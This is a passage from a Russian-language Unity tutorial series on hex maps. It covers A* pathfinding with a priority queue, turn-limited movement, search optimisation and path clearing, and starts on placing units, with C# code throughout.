HexCellPriorityQueue searchFrontier;
…
IEnumerator Search (HexCell fromCell, HexCell toCell) {
if (searchFrontier == null) {
searchFrontier = new HexCellPriorityQueue();
}
else {
searchFrontier.Clear();
}
…
}
```
Перед началом цикла метод `Search` должен сначала внести в очередь `fromCell`, а каждая итерация начинается с вывода ячейки из очереди. Этим мы заменим старый код границы.
```
WaitForSeconds delay = new WaitForSeconds(1 / 60f);
// List frontier = new List();
fromCell.Distance = 0;
// frontier.Add(fromCell);
searchFrontier.Enqueue(fromCell);
while (searchFrontier.Count > 0) {
yield return delay;
HexCell current = searchFrontier.Dequeue();
// frontier.RemoveAt(0);
…
}
```
Изменим код так, чтобы он добавлял и изменял и соседа. Перед изменением будем запоминать старый приоритет.
```
if (neighbor.Distance == int.MaxValue) {
neighbor.Distance = distance;
neighbor.PathFrom = current;
neighbor.SearchHeuristic =
neighbor.coordinates.DistanceTo(toCell.coordinates);
// frontier.Add(neighbor);
searchFrontier.Enqueue(neighbor);
}
else if (distance < neighbor.Distance) {
int oldPriority = neighbor.SearchPriority;
neighbor.Distance = distance;
neighbor.PathFrom = current;
searchFrontier.Change(neighbor, oldPriority);
}
```
Кроме того, нам больше не нужно сортировать границу.
```
// frontier.Sort(
// (x, y) => x.SearchPriority.CompareTo(y.SearchPriority)
// );
```
*Поиск при помощи очереди с приоритетом*
Как говорилось ранее, находимый кратчайший путь зависит от порядка обработки ячеек. Наша очередь создаёт порядок, отличающийся от порядка отсортированного списка, поэтому мы можем получать другие пути. Так как мы и добавляем, и удаляем из головы связанного списка для каждого приоритета, они больше походят на стеки, чем на очереди. Ячейки, добавленные последними, обрабатываются первыми. Побочный эффект такого подхода заключается в том, что алгоритм склонен к зигзагам. Поэтому также повышается вероятность зигзагообразных путей. К счастью, такие пути обычно выглядят лучше, поэтому этот побочный эффект нам на пользу.
*Отсортированный список и очередь с приоритетом*
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-16/priority-queue/priority-queue.unitypackage)
Часть 17: ограниченное перемещение
==================================
* Находим пути для пошагового перемещения.
* Сразу же отображаем пути.
* Создаём более эффективный поиск.
* Визуализируем только путь.
В этой части мы разделим движение на ходы и максимально ускорим поиск.
*Путешествие из нескольких ходов*
Пошаговое движение
------------------
Стратегические игры, в которых используются сетки шестиугольников, почти всегда являются пошаговыми. Перемещающиеся по карте отряды имеют ограниченную скорость, которая ограничивает расстояние, проходимое за один ход.
### Скорость
Чтобы обеспечить поддержку ограниченного перемещения, добавим в `HexGrid.FindPath` и в `HexGrid.Search` целочисленный параметр `speed`. Он определяет запас движений на один ход.
```
public void FindPath (HexCell fromCell, HexCell toCell, int speed) {
StopAllCoroutines();
StartCoroutine(Search(fromCell, toCell, speed));
}
IEnumerator Search (HexCell fromCell, HexCell toCell, int speed) {
…
}
```
Разные типы отрядов в игре используют разные скорости. Кавалерия быстра, пехота медленна, и так далее. У нас ещё нет отрядов, поэтому пока будем использовать постоянную скорость. Давайте возьмём значение 24. Это достаточно большое значение, не делящееся на 5 (затраты на перемещение по умолчанию). Добавим как аргумент для `FindPath` в `HexMapEditor.HandleInput` постоянную скорость.
```
if (editMode) {
EditCells(currentCell);
}
else if (
Input.GetKey(KeyCode.LeftShift) && searchToCell != currentCell
) {
if (searchFromCell) {
searchFromCell.DisableHighlight();
}
searchFromCell = currentCell;
searchFromCell.EnableHighlight(Color.blue);
if (searchToCell) {
hexGrid.FindPath(searchFromCell, searchToCell, 24);
}
}
else if (searchFromCell && searchFromCell != currentCell) {
searchToCell = currentCell;
hexGrid.FindPath(searchFromCell, searchToCell, 24);
}
```
### Ходы
Кроме отслеживания общих затрат на перемещение по пути нам также нужно теперь знать, сколько ходов потребуется на перемещение по нему. Но нам не нужно хранить эту информацию в каждой ячейке. Её можно получить, разделив пройденное расстояние на скорость. Так как это целые числа, мы воспользуемся целочисленным делением. То есть общие расстояния не больше 24 соответствуют ходу 0. Это значит, что весь путь можно пройти в текущем ходе. Если конечная точка находится на расстоянии 30, то это должен быть ход 1. Чтобы добраться до конечной точки, отряду придётся потратить всё своё движение в текущем ходу и в части следующего хода.
Давайте определять ход текущей ячейки и всех её соседей внутри `HexGrid.Search`. Ход текущей ячейки можно вычислять только один раз, прямо перед обходом в цикле соседей. Ход соседа можно определить, как только мы найдём расстояние до него.
```
int currentTurn = current.Distance / speed;
for (HexDirection d = HexDirection.NE; d <= HexDirection.NW; d++) {
…
int distance = current.Distance;
if (current.HasRoadThroughEdge(d)) {
distance += 1;
}
else if (current.Walled != neighbor.Walled) {
continue;
}
else {
distance += edgeType == HexEdgeType.Flat ? 5 : 10;
distance += neighbor.UrbanLevel + neighbor.FarmLevel +
neighbor.PlantLevel;
}
int turn = distance / speed;
…
}
```
### Утерянное движение
Если ход соседа больше текущего хода, то мы пересекли границу хода. Если перемещение, необходимое, чтобы достичь соседа, было равно 1, то всё нормально. Но если перемещение в соседнюю ячейку более затратно, то всё становится сложнее.
Предположим, что мы перемещаемся по однородной карте, то есть для попадания в каждую ячейку нужно 5 единиц движения. Наша скорость равна 24. Через четыре шага мы потратили 20 единиц из нашего запаса движения, и осталось 4. На следующем шаге снова нужно 5 единиц, то есть на одну больше имеющихся. Что нам нужно делать на этом этапе?
Существует два подхода к такой ситуации. Первый — позволить отряду войти в пятую ячейку на текущем ходе, даже если у нас не хватает перемещения. Второй — запретить перемещение в течение текущего хода, то есть оставшиеся очки движения невозможно использовать и они будут утеряны.
Выбор варианта зависит от игры. В общем случае первый подход больше соответствует играм, в которых отряды могут двигаться всего на несколько шагов за ход, например, для игр серии Civilization. Это гарантирует, что отряды всегда смогут сдвинуться хотя бы на одну ячейку за ход. Если отряды могут двигаться на много ячеек за ход, как в Age of Wonders или в Battle for Wesnoth, то лучше подходит второй вариант.
Так как мы используем скорость 24, давайте выберем второй подход. Чтобы он начал работать, нам нужно изолировать затраты на попадание в соседнюю ячейку перед прибавлением её к текущему расстоянию.
```
// int distance = current.Distance;
int moveCost;
if (current.HasRoadThroughEdge(d)) {
moveCost = 1;
}
else if (current.Walled != neighbor.Walled) {
continue;
}
else {
moveCost = edgeType == HexEdgeType.Flat ? 5 : 10;
moveCost += neighbor.UrbanLevel + neighbor.FarmLevel +
neighbor.PlantLevel;
}
int distance = current.Distance + moveCost;
int turn = distance / speed;
```
Если в результате мы пересечём границу хода, то сначала используем все очки движения текущего хода. Мы можем сделать это, просто умножив ход на скорость. После этого мы прибавляем затраты на перемещение.
```
int distance = current.Distance + moveCost;
int turn = distance / speed;
if (turn > currentTurn) {
distance = turn * speed + moveCost;
}
```
В результате этого мы будем заканчивать первый ход в четвёртой ячейке с 4 неиспользованными очками движения. Эти потерянные очки добавляются к затратам пятой ячейки, поэтому её расстояние становится 29, а не 25. В результате расстояния оказываются больше, чем раньше. Например, у десятой ячейки было расстояние 50. Но теперь чтобы добраться в неё, нам нужно пересечь границы двух ходов, теряя 8 очков движения, то есть расстояние до неё теперь становится равным 58.
*Дольше, чем ожидалось*
Так как неиспользованные очки движения прибавляются к расстояниям до ячеек, они учитываются при определении кратчайшего пути. Наиболее эффективный путь теряет впустую как можно меньше очков. Поэтому при разных скоростях мы можем получать разные пути.
### Отображение ходов вместо расстояний
Когда мы играем в игру, нам не очень интересны значения расстояний, использованные для поиска кратчайшего пути. Нас интересует количество ходов, требующихся для попадания в конечную точку. Поэтому давайте вместо расстояний будем отображать ходы.
Во-первых, избавимся от `UpdateDistanceLabel` и его вызова в `HexCell`.
```
public int Distance {
get {
return distance;
}
set {
distance = value;
// UpdateDistanceLabel();
}
}
…
// void UpdateDistanceLabel () {
// UnityEngine.UI.Text label = uiRect.GetComponent();
// label.text = distance == int.MaxValue ? "" : distance.ToString();
// }
```
Вместо него мы добавим в `HexCell` общий метод `SetLabel`, получающий произвольную строку.
```
public void SetLabel (string text) {
UnityEngine.UI.Text label = uiRect.GetComponent();
label.text = text;
}
```
Используем этот новый метод в `HexGrid.Search` при очистке ячеек. Чтобы скрыть ячейки, просто присвоим им `null`.
```
for (int i = 0; i < cells.Length; i++) {
cells[i].Distance = int.MaxValue;
cells[i].SetLabel(null);
cells[i].DisableHighlight();
}
```
Затем присвоим метке соседа значение его хода. После этого мы сможем увидеть, сколько дополнительных ходов потребуется для прохождения всего пути.
```
if (neighbor.Distance == int.MaxValue) {
neighbor.Distance = distance;
neighbor.SetLabel(turn.ToString());
neighbor.PathFrom = current;
neighbor.SearchHeuristic =
neighbor.coordinates.DistanceTo(toCell.coordinates);
searchFrontier.Enqueue(neighbor);
}
else if (distance < neighbor.Distance) {
int oldPriority = neighbor.SearchPriority;
neighbor.Distance = distance;
neighbor.SetLabel(turn.ToString());
neighbor.PathFrom = current;
searchFrontier.Change(neighbor, oldPriority);
}
```
*Количество ходов, необходимое для перемещения по пути*
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-17/turn-based-movement/turn-based-movement.unitypackage)
Мгновенные пути
---------------
Кроме того, когда мы играем в игру, нас не волнует, как алгоритм поиска пути находит путь. Мы хотим сразу же увидеть запрошенный путь. На данный момент мы можем быть уверены, что алгоритм работает, поэтому давайте избавимся от визуализации поиска.
### Без корутин
Для медленного прохождения по алгоритму мы использовали корутину. Больше нам этого делать не нужно, поэтому избавимся от вызовов `StartCoroutine` и `StopAllCoroutines` в `HexGrid`. Вместо этого мы просто вызываем `Search` как обычный метод.
```
public void Load (BinaryReader reader, int header) {
// StopAllCoroutines();
…
}
public void FindPath (HexCell fromCell, HexCell toCell, int speed) {
// StopAllCoroutines();
// StartCoroutine(Search(fromCell, toCell, speed));
Search(fromCell, toCell, speed);
}
```
Так как мы больше не используем `Search` как корутину, ему не нужен yield, поэтому избавимся от этого оператора. Это означает, что мы также удалим объявление `WaitForSeconds` и изменим возвращаемый тип метода на `void`.
```
void Search (HexCell fromCell, HexCell toCell, int speed) {
…
// WaitForSeconds delay = new WaitForSeconds(1 / 60f);
fromCell.Distance = 0;
searchFrontier.Enqueue(fromCell);
while (searchFrontier.Count > 0) {
// yield return delay;
HexCell current = searchFrontier.Dequeue();
…
}
}
```
*Мгновенные результаты*
### Определение времени поиска
Теперь мы можем получать пути мгновенно, но насколько быстро они вычисляются? Короткие пути отображаются почти сразу, но длинные пути на больших картах могут казаться немного тормозными.
Давайте измерим, сколько времени уходит на поиск и отображение пути. Для определения времени поиска мы можем использовать профайлер, но это немного чересчур и создаёт дополнительные затраты. Давайте используем вместо этого `Stopwatch`, который находится в пространстве имён `System.Diagnostics`. Так как мы используем его только временно, я не будут добавлять конструкцию `using` в начало скрипта.
Прямо перед выполнением поиска создадим новый stopwatch и запустим его. После завершения поиска остановим stopwatch и выведем в консоль прошедшее время.
```
public void FindPath (HexCell fromCell, HexCell toCell, int speed) {
System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch();
sw.Start();
Search(fromCell, toCell, speed);
sw.Stop();
Debug.Log(sw.ElapsedMilliseconds);
}
```
Давайте выберем наихудший для нашего алгоритма случай — поиск из нижнего левого в верхний правый угол большой карты. Хуже всего однообразная карта, потому что алгоритму придётся обрабатывать все 4 800 ячеек карты.
*Поиск в наихудшем случае*
Потраченное на поиск время может быть разным, потому что редактор Unity — это не единственный процесс, запущенный на вашей машине. Поэтому протестируйте его несколько раз, чтобы получить понимание средней длительности. В моём случае поиск занимает около 45 миллисекунд. Это не очень много и соответствует 22,22 путям в секунду; обозначим это как 22 pps (paths per second). Это означает, что частота кадров игры тоже снизится максимум на 22 fps в том кадре, когда вычисляется этот путь. И это без учёта всей другой работы, например, рендеринга самого кадра. То есть мы получим довольно большое снижение частоты кадров, она снизится до 20 fps.
При выполнении подобного тестирования производительности нужно учитывать, что производительность редактора Unity будет не такой высокой, как производительность готового приложения. Если я выполню тот же тест со сборкой, то в среднем он будет занимать всего 15 мс. То есть 66 pps, что намного лучше. Тем не менее, это всё равно большая часть выделенных на кадр ресурсов, поэтому частота кадров станет ниже 60 fps.
**Где можно посмотреть журнал отладки для сборки?**
Приложения Unity выполняют запись в файл журнала, который сохраняется в системе. Его местоположение зависит от платформы. Чтобы узнать, как найти файлы журналов в своей системе, прочитайте документацию Unity по [Log Files](https://docs.unity3d.com/Manual/LogFiles.html).
### Выполняем поиск только при необходимости
Мы можем внести простую оптимизацию — выполнять поиск только тогда, когда он нужен. Пока мы инициируем новый поиск в каждом кадре, в котором зажата клавиша мыши. Поэтому частота кадров будет постоянно занижаться при перетаскивании. Мы можем избежать этого, инициируя новый поиск в `HexMapEditor.HandleInput` только тогда, когда действительно имеем дело с новой конечной точкой. Если нет, то верным по-прежнему является текущий видимый путь.
```
if (editMode) {
EditCells(currentCell);
}
else if (
Input.GetKey(KeyCode.LeftShift) && searchToCell != currentCell
) {
if (searchFromCell != currentCell) {
if (searchFromCell) {
searchFromCell.DisableHighlight();
}
searchFromCell = currentCell;
searchFromCell.EnableHighlight(Color.blue);
if (searchToCell) {
hexGrid.FindPath(searchFromCell, searchToCell, 24);
}
}
}
else if (searchFromCell && searchFromCell != currentCell) {
if (searchToCell != currentCell) {
searchToCell = currentCell;
hexGrid.FindPath(searchFromCell, searchToCell, 24);
}
}
```
### Показываем метки только для пути
Отображение меток хода — довольно затратная операция, особенно потому, что мы используем неоптимизированный подход. Выполнение этой операции для всех ячеек совершенно точно затормозит выполнение. Поэтому давайте пропускать задание меток в `HexGrid.Search`.
```
if (neighbor.Distance == int.MaxValue) {
neighbor.Distance = distance;
// neighbor.SetLabel(turn.ToString());
neighbor.PathFrom = current;
neighbor.SearchHeuristic =
neighbor.coordinates.DistanceTo(toCell.coordinates);
searchFrontier.Enqueue(neighbor);
}
else if (distance < neighbor.Distance) {
int oldPriority = neighbor.SearchPriority;
neighbor.Distance = distance;
// neighbor.SetLabel(turn.ToString());
neighbor.PathFrom = current;
searchFrontier.Change(neighbor, oldPriority);
}
```
Нам нужно видеть эту информацию только для найденного пути. Поэтому после достижения конечной точки будем вычислять ход и задавать метки только тех ячеек, которые находятся на пути.
```
if (current == toCell) {
current = current.PathFrom;
while (current != fromCell) {
int turn = current.Distance / speed;
current.SetLabel(turn.ToString());
current.EnableHighlight(Color.white);
current = current.PathFrom;
}
break;
}
```
*Отображаем метки только для ячеек пути*
Теперь мы включаем только метки ячеек, находящихся между начальной и конечной. Но конечная точка — это самое важное, ей мы тоже должны задать метку. Можно сделать это, начав цикл пути с конечной ячейки, а не с ячейки перед ней. При этом посветка конечной точки с красной сменится на белую, поэтому её подсветку мы уберём под цикл.
```
fromCell.EnableHighlight(Color.blue);
// toCell.EnableHighlight(Color.red);
fromCell.Distance = 0;
searchFrontier.Enqueue(fromCell);
while (searchFrontier.Count > 0) {
HexCell current = searchFrontier.Dequeue();
if (current == toCell) {
// current = current.PathFrom;
while (current != fromCell) {
int turn = current.Distance / speed;
current.SetLabel(turn.ToString());
current.EnableHighlight(Color.white);
current = current.PathFrom;
}
toCell.EnableHighlight(Color.red);
break;
}
…
}
```
*Информация о ходе важнее всего для конечной точки*
После этих изменений время наихудшего случая снизилось до 23 миллисекунд в редакторе и до 6 миллисекунд в готовой сборке. Это 43 pps и 166 pps — намного лучше.
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-17/instant-paths/instant-paths.unitypackage)
Самый умный поиск
-----------------
В предыдущей части мы сделали процедуру поиска умнее, реализовав алгоритм A\*. Однако на самом деле мы всё ещё не выполняем поиск наиболее оптимальным образом. В каждой итерации мы вычисляем расстояния от текущей ячейки до всех её соседей. Это верно для ячеек, которые пока не являются или являются в текущий момент частью границы поиска. Но ячейки, которые уже удалены из границы, больше рассматривать не нужно, потому что мы уже нашли кратчайший путь к этим ячейкам. Правильная реализация A\* пропускает эти ячейки, поэтому мы можем сделать так же.
### Фаза поиска ячеек
Как мы узнаем, что ячейка уже покинула границу? Пока мы не можем этого определить. Поэтому нужно отслеживать в какой фазе поиска находится ячейка. Она ещё не находилась в границе или находится в ней сейчас, или находится за границей. Мы можем отслеживать это, добавив в `HexCell` простое целочисленное свойство.
```
public int SearchPhase { get; set; }
```
Например, 0 означает, что ячейки ещё не достигли, 1 — что ячейка находится в границе сейчас, а 2 — что она уже удалена из границы.
### Попадание в границу
В `HexGrid.Search` мы можем сбросить все ячейки на 0 и всегда использовать 1 для границы. Или мы можем увеличивать число границы при каждом новом поиске. Благодаря этому нам не придётся заниматься сбросом ячеек, если мы будем каждый раз увеличивать число границы на два.
```
int searchFrontierPhase;
…
void Search (HexCell fromCell, HexCell toCell, int speed) {
searchFrontierPhase += 2;
…
}
```
Теперь нам нужно задать фазу поиска ячеек при добавлении их в границу. Процесс начинается с начальной ячейки, которая добавляется к границе.
```
fromCell.SearchPhase = searchFrontierPhase;
fromCell.Distance = 0;
searchFrontier.Enqueue(fromCell);
```
А также каждый раз, когда мы добавляем соседа к границе.
```
if (neighbor.Distance == int.MaxValue) {
neighbor.SearchPhase = searchFrontierPhase;
neighbor.Distance = distance;
neighbor.PathFrom = current;
neighbor.SearchHeuristic =
neighbor.coordinates.DistanceTo(toCell.coordinates);
searchFrontier.Enqueue(neighbor);
}
```
### Проверка границы
До данного момента для проверки того, что ячейку пока не добавляли к границе, мы использовали расстояние, равное `int.MaxValue`. Теперь мы можем сравнивать фазу поиска ячейки с текущей границей.
```
// if (neighbor.Distance == int.MaxValue) {
if (neighbor.SearchPhase < searchFrontierPhase) {
neighbor.SearchPhase = searchFrontierPhase;
neighbor.Distance = distance;
neighbor.PathFrom = current;
neighbor.SearchHeuristic =
neighbor.coordinates.DistanceTo(toCell.coordinates);
searchFrontier.Enqueue(neighbor);
}
```
Это значит, что нам больше не нужно сбрасывать расстояния ячеек перед поиском, то есть придётся выполнять меньше работы, что хорошо.
```
for (int i = 0; i < cells.Length; i++) {
// cells[i].Distance = int.MaxValue;
cells[i].SetLabel(null);
cells[i].DisableHighlight();
}
```
### Покидание границы
Когда ячейка убирается из границы, мы обозначаем это увеличением её фазы поиска. Это ставит её за текущей границей и перед следующей.
```
while (searchFrontier.Count > 0) {
HexCell current = searchFrontier.Dequeue();
current.SearchPhase += 1;
…
}
```
Теперь мы можем пропускать ячейки, убранные из границы, избегая бессмысленного вычисления и сравнения расстояний.
```
for (HexDirection d = HexDirection.NE; d <= HexDirection.NW; d++) {
HexCell neighbor = current.GetNeighbor(d);
if (
neighbor == null ||
neighbor.SearchPhase > searchFrontierPhase
) {
continue;
}
…
}
```
На этом этапе наш алгоритм по-прежнему создаёт те же результаты, но более эффективно. На моей машине поиск в наихудшем случае занимает 20 мс в редакторе и 5 мс в сборке.
Также мы можем подсчитать, сколько раз ячейка была обработана алгоритмом, увеличивая счётчик при вычислении расстояния до ячейки. Раньше наш алгоритм в худшем случае вычислял 28 239 расстояний. В готовом алгоритме A\* мы вычисляем вего 14 120 расстояний. Количество снизилось на 50%. Степень влияния этих показателей на производительность зависит от расходов при вычислении затрат на перемещение. В нашем случае работы здесь не так много, поэтому улучшение в сборке не очень велико, но сильно заметно в редакторе.
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-17/smartest-search/smartest-search.unitypackage)
Очистка пути
------------
При инициировании нового поиска нам сначала нужно очистить визуализацию предыдущего пути. Пока мы это делаем, отключая выделение и убирая метки у каждой ячейки сетки. Это очень тяжеловесный подход. В идеале нам нужно сбрасывать только те ячейки, которые являлись частью предыдущего пути.
### Только поиск
Давайте начнём с того, что полностью уберём код визуализации из `Search`. Ему нужно только выполнять поиск пути и не обязательно знать, что мы сделаем с этой информацией.
```
void Search (HexCell fromCell, HexCell toCell, int speed) {
searchFrontierPhase += 2;
if (searchFrontier == null) {
searchFrontier = new HexCellPriorityQueue();
}
else {
searchFrontier.Clear();
}
// for (int i = 0; i < cells.Length; i++) {
// cells[i].SetLabel(null);
// cells[i].DisableHighlight();
// }
// fromCell.EnableHighlight(Color.blue);
fromCell.SearchPhase = searchFrontierPhase;
fromCell.Distance = 0;
searchFrontier.Enqueue(fromCell);
while (searchFrontier.Count > 0) {
HexCell current = searchFrontier.Dequeue();
current.SearchPhase += 1;
if (current == toCell) {
// while (current != fromCell) {
// int turn = current.Distance / speed;
// current.SetLabel(turn.ToString());
// current.EnableHighlight(Color.white);
// current = current.PathFrom;
// }
// toCell.EnableHighlight(Color.red);
// break;
}
…
}
}
```
Чтобы сообщить о том, что `Search` нашёл путь, мы будем возвращать boolean.
```
bool Search (HexCell fromCell, HexCell toCell, int speed) {
searchFrontierPhase += 2;
if (searchFrontier == null) {
searchFrontier = new HexCellPriorityQueue();
}
else {
searchFrontier.Clear();
}
fromCell.SearchPhase = searchFrontierPhase;
fromCell.Distance = 0;
searchFrontier.Enqueue(fromCell);
while (searchFrontier.Count > 0) {
HexCell current = searchFrontier.Dequeue();
current.SearchPhase += 1;
if (current == toCell) {
return true;
}
…
}
return false;
}
```
### Запоминаем путь
Когда путь найден, нам нужно его запомнить. Благодаря этому мы сможем очищать его в дальнейшем. Поэтому будем отслеживать концевые точки и то, есть ли между ними путь.
```
HexCell currentPathFrom, currentPathTo;
bool currentPathExists;
…
public void FindPath (HexCell fromCell, HexCell toCell, int speed) {
System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch();
sw.Start();
currentPathFrom = fromCell;
currentPathTo = toCell;
currentPathExists = Search(fromCell, toCell, speed);
sw.Stop();
Debug.Log(sw.ElapsedMilliseconds);
}
```
### Снова отображаем путь
Мы можем использовать записанные нами данные поиска, чтобы снова визуализировать путь. Создадим для этого новый метод `ShowPath`. Он будет проходить в цикле от конца до начала пути, подсвечивая ячейки и присваивая их меткам значение хода. Для этого нам нужно знать скорость, поэтому сделаем её параметром. Если у нас нет пути, то метод просто выделит концевые точки.
```
void ShowPath (int speed) {
if (currentPathExists) {
HexCell current = currentPathTo;
while (current != currentPathFrom) {
int turn = current.Distance / speed;
current.SetLabel(turn.ToString());
current.EnableHighlight(Color.white);
current = current.PathFrom;
}
}
currentPathFrom.EnableHighlight(Color.blue);
currentPathTo.EnableHighlight(Color.red);
}
```
Вызовем этот метод в `FindPath` после поиска.
```
currentPathExists = Search(fromCell, toCell, speed);
ShowPath(speed);
```
### Подчистка
Мы снова видим путь, но теперь он не удаляется. Чтобы очистить его, создадим метод `ClearPath`. По сути он является копией `ShowPath`, за исключением того, что отключает выделение и метки, а не включает их. Сделав это, он должен очистить записанные данные пути, которые больше не являются действительными.
```
void ClearPath () {
if (currentPathExists) {
HexCell current = currentPathTo;
while (current != currentPathFrom) {
current.SetLabel(null);
current.DisableHighlight();
current = current.PathFrom;
}
current.DisableHighlight();
currentPathExists = false;
}
currentPathFrom = currentPathTo = null;
}
```
С помощью этого метода мы можем очищать визуализацию старого пути, посещая только необходимые ячейки, размер карты больше не важен. Вызовем его в `FindPath` перед запуском нового поиска.
```
sw.Start();
ClearPath();
currentPathFrom = fromCell;
currentPathTo = toCell;
currentPathExists = Search(fromCell, toCell, speed);
if (currentPathExists) {
ShowPath(speed);
}
sw.Stop();
```
Кроме того, будем очищать путь при создании новой карты.
```
public bool CreateMap (int x, int z) {
…
ClearPath();
if (chunks != null) {
for (int i = 0; i < chunks.Length; i++) {
Destroy(chunks[i].gameObject);
}
}
…
}
```
А также перед загрузкой другой карты.
```
public void Load (BinaryReader reader, int header) {
ClearPath();
…
}
```
Визуализация путей снова очищается, как и до этого изменения. Но теперь мы используем более эффективный подход, и в наихудшем случае поиска время снизилось до 14 миллисекунд. Достаточно серьёзное улучшение только благодаря более умной очистке. Время в сборке снизилось до 3 мс, что составляет 333 pps. Благодаря этому поиск путей совершенно точно применим в реальном времени.
Теперь, когда мы добились быстрого поиска путей, можно удалить временный отладочный код.
```
public void FindPath (HexCell fromCell, HexCell toCell, int speed) {
// System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch();
// sw.Start();
ClearPath();
currentPathFrom = fromCell;
currentPathTo = toCell;
currentPathExists = Search(fromCell, toCell, speed);
ShowPath(speed);
// sw.Stop();
// Debug.Log(sw.ElapsedMilliseconds);
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-17/cleaning-the-path/cleaning-the-path.unitypackage)
Часть 18: отряды
================
* Размещаем отряды на карте.
* Сохраняем и загружаем отряды.
* Находим пути для отрядов.
* Перемещаем отряды.
Теперь, когда мы разобрались, как выполнять поиск пути, давайте разместим на карте отряды.
*Подкрепление прибыло*
Создание отрядов
----------------
Пока мы имели дело только с ячейками и их неподвижными объектами. Отряды отличаются от них тем, что они мобильны. Отряд может обозначать что угодно какого угодно масштаба, от одного человека или транспортного средства до целой армии. В этом туториале мы ограничимся простым обобщённым типом отряда. После этого мы перейдём к поддержке комбинаций нескольких типов отрядов.
### Префаб отряда
Для работы с отрядами создадим новый тип компонента `HexUnit`. Пока начнём с пустого `MonoBehaviour`, а позже добавим к нему функционал.
```
using UnityEngine;
public class HexUnit : MonoBehaviour {
}
```
Создадим пустой игровой объект с этим компонентом, который должен стать префабом. Это будет корневой объект отряда.
Префаб отряда.
Добавим в качестве дочернего объекта 3D-модель, символизирующую отряд. Я использовал простой отмасштабированный куб, которому создал синий материал. Корневой объект определяет уровень земли отряда, поэтому соответствующим образом сместим дочерний элемент.
*Дочерний элемент-куб*
Добавим отряду коллайдер, чтобы в дальнейшем его было легче выбирать. Нам вполне подойдёт коллайдер стандартного куба, только сделаем так, чтобы коллайдер помещается в одну ячейку.
### Создание экземпляров отрядов
Так как у нас пока нет игрового процесса, то создание отрядов происходит в режиме редактирования. Поэтому этим должен заниматься `HexMapEditor`. Для этого ему нужен префаб, поэтому добавим поле `HexUnit unitPrefab` и подключим его.
```
public HexUnit unitPrefab;
```
*Подключение префаба*
При создании отрядов мы будем размещать их на ячейке, находящейся под курсором. В `HandleInput` есть код для нахождения этой ячейки при редактировании рельефа. Теперь он нам нужен и для отрядов, поэтому переместим соответствующий код в отдельный метод.
```
HexCell GetCellUnderCursor () {
Ray inputRay = Camera.main.ScreenPointToRay(Input.mousePosition);
RaycastHit hit;
if (Physics.Raycast(inputRay, out hit)) {
return hexGrid.GetCell(hit.point);
}
return null;
}
```
Теперь мы можем использовать этот метод в `HandleInput`, упростив его.
```
void HandleInput () {
// Ray inputRay = Camera.main.ScreenPointToRay(Input.mousePosition);
// RaycastHit hit;
// if (Physics.Raycast(inputRay, out hit)) {
// HexCell currentCell = hexGrid.GetCell(hit.point);
HexCell currentCell = GetCellUnderCursor();
if (currentCell) {
…
}
else {
previousCell = null;
}
}
```
Далее добавим новый метод `CreateUnit`, который тоже использует `GetCellUnderCursor`. Если есть ячейка, мы будем создавать новый отряд.
```
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell) {
Instantiate(unitPrefab);
}
}
```
Чтобы иерархия была чистой, давайте используем сетку как родительский элемент для всех игровых объектов отрядов.
```
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell) {
HexUnit unit = Instantiate(unitPrefab);
unit.transform.SetParent(hexGrid.transform, false);
}
}
```
Проще всего добавить в `HexMapEditor` поддержку создания отрядов через нажатие клавиши. Изменим метод `Update` так, чтобы он вызывал `CreateUnit` при нажатии клавиши U. Как и в случае с `HandleInput`, это должно происходить, если курсор не находится поверх элемента GUI. Сначала проверим, должны ли мы редактировать карту, и если нет, то проверим, должны ли мы добавлять отряд. Если да, то вызываем `CreateUnit`.
```
void Update () {
// if (
// Input.GetMouseButton(0) &&
// !EventSystem.current.IsPointerOverGameObject()
// ) {
// HandleInput();
// }
// else {
// previousCell = null;
// }
if (!EventSystem.current.IsPointerOverGameObject()) {
if (Input.GetMouseButton(0)) {
HandleInput();
return;
}
if (Input.GetKeyDown(KeyCode.U)) {
CreateUnit();
return;
}
}
previousCell = null;
}
```
*Созданный экземпляр отряда*
### Размещение отрядов
Теперь мы можем создавать отряды, но они появляются в точке начала координат карты. Нам нужно помещать их в нужное место. Для этого необходимо, чтобы отряды знали о своей позиции. Поэтому добавим в `HexUnit` свойство `Location`, обозначающее занимаемую ими ячейку. При задании свойства изменим позицию отряда так, чтобы он соответствовал позиции ячейки.
```
public HexCell Location {
get {
return location;
}
set {
location = value;
transform.localPosition = value.Position;
}
}
HexCell location;
```
Теперь `HexMapEditor.CreateUnit` должен присвоить позиции отряда ячейку под курсором. Тогда отряды будут находиться там, где должны.
```
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell) {
HexUnit unit = Instantiate(unitPrefab);
unit.transform.SetParent(hexGrid.transform, false);
unit.Location = cell;
}
}
```
*Расположенные на карте отряды*
### Ориентация отрядов
Пока все отряды имеют одинаковую ориентацию, что выглядит довольно неестественно. Чтобы оживить их, добавим в `HexUnit` свойство `Orientation`. Это значение float, обозначающее поворот отряда по оси Y в градусах. При его задании будем соответствующим образом менять поворот самого игрового объекта.
```
public float Orientation {
get {
return orientation;
}
set {
orientation = value;
transform.localRotation = Quaternion.Euler(0f, value, 0f);
}
}
float orientation;
```
В `HexMapEditor.CreateUnit` назначим случайный поворот от 0 до 360 градусов.
```
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell) {
HexUnit unit = Instantiate(unitPrefab);
unit.transform.SetParent(hexGrid.transform, false);
unit.Location = cell;
unit.Orientation = Random.Range(0f, 360f);
}
}
```
*Разные ориентации отрядов*
### По одному отряду на ячейку
Отряды выглядят неплохо, если не создаются в одной ячейке. В этом случае мы получаем скопление странно выглядящих кубов.
*Наложенные друг на друга отряды*
Некоторые игры допускают размещение нескольких отрядов на одном месте, другие нет. Так как проще работать с одним отрядом на ячейку, я выберу этот вариант. Это значит, что мы должны создавать новый отряд только тогда, когда текущая ячейка не занята. Чтобы это можно было узнать, добавим в `HexCell` стандартное свойство `Unit`.
```
public HexUnit Unit { get; set; }
```
Используем это свойство в `HexUnit.Location`, чтобы ячейка узнала, стоит ли на ней отряд.
```
